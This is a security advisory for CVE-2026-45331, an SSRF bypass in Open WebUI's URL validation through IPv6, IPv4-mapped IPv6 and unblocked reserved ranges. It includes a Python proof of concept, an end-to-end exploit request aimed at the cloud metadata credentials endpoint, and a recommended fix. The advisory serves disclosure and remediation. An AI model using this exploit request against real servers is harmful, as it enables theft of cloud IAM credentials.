CVE-2026-45331: Open WebUI: Full SSRF Vulnerability in the RAG Web Search Feature

Published May 14, 2026
·
Updated

SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in validateurl()

Summary

validateurl() in backend/openwebui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked.

The vulnerability has existed since the validateurl() function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls validateurl(), including /api/v1/retrieval/process/web, /api/v1/images/edit, and others.

Affected code

backend/openwebui/retrieval/web/utils.py validateurl():

python if validators.ipv6(ip, private=True): # ValidationError is falsy — never raises raise ValueError(...)

Proof of concept

python import validators print(validators.ipv6("::1", private=True)) ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...})

End-to-end exploit:

python import requests, ipaddress

OPENWEBUIURL = "https://target" TOKEN = "..." TARGETIPV4 = "169.254.169.254" # AWS IMDSv1 mapped = "::ffff:" + TARGETIPV4

requests.post(f"{OPENWEBUIURL}/api/v1/retrieval/process/web", headers={"Authorization": f"Bearer {TOKEN}"}, json={"collectionname": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"})

Impact

Any authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.

Recommended fix

Replace the validators library calls with stdlib ipaddress:

python import ipaddress addr = ipaddress.ipaddress(ip) if addr.isprivate or addr.isloopback or addr.islinklocal or addr.ismulticast or addr.isreserved or addr.isunspecified: raise ValueError(...) also unwrap IPv4-mapped IPv6 and re-check: if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4mapped: addrv4 = addr.ipv4mapped if addrv4.isprivate or addrv4.isloopback or ...: raise ValueError(...) plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).

Related but separate advisories

- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6 - DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r - urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx - Playwright loader redirect: GHSA-jrfp-m64g-pcwv - Missing validateurl() call in imagegenerations: GHSA-h7cc-wwjp-5xqh

Credits

- Dor Konis (dkonis, GE Vernova) — first to identify the validators.ipv6(private=True) silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report). - wlayzz — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.

Subsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing validateurl() once resolves all of them.

Other sources

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, validateurl() in backend/openwebui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked. This vulnerability is fixed in 0.9.0.

MITRE

Affected Software

2 affected componentsFixes available
pip/open-webui<=0.8.12
0.9.0
openwebui Open WebUI<0.9.0

Event History

May 14, 2026
Advisory Published
via GitHub·08:18 PM
Data Sourced
via GitHub·08:18 PM
DescriptionSeverityWeaknessAffected Software
May 15, 2026
CVE Published
via MITRE·07:22 PM
Data Sourced
via MITRE·07:22 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-45331?

CVE-2026-45331 is considered a medium severity vulnerability due to its potential for Server-Side Request Forgery (SSRF) attacks.

2

How do I fix CVE-2026-45331?

To remediate CVE-2026-45331, upgrade the `open-webui` package to version 0.9.0 or later.

3

Which versions of open-webui are affected by CVE-2026-45331?

Versions of `open-webui` up to and including 0.8.12 are affected by CVE-2026-45331.

4

What type of vulnerability is CVE-2026-45331?

CVE-2026-45331 is classified as a Server-Side Request Forgery (SSRF) vulnerability.

5

Is user intervention required to exploit CVE-2026-45331?

Exploitation of CVE-2026-45331 can potentially occur without user intervention due to its nature as an SSRF.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203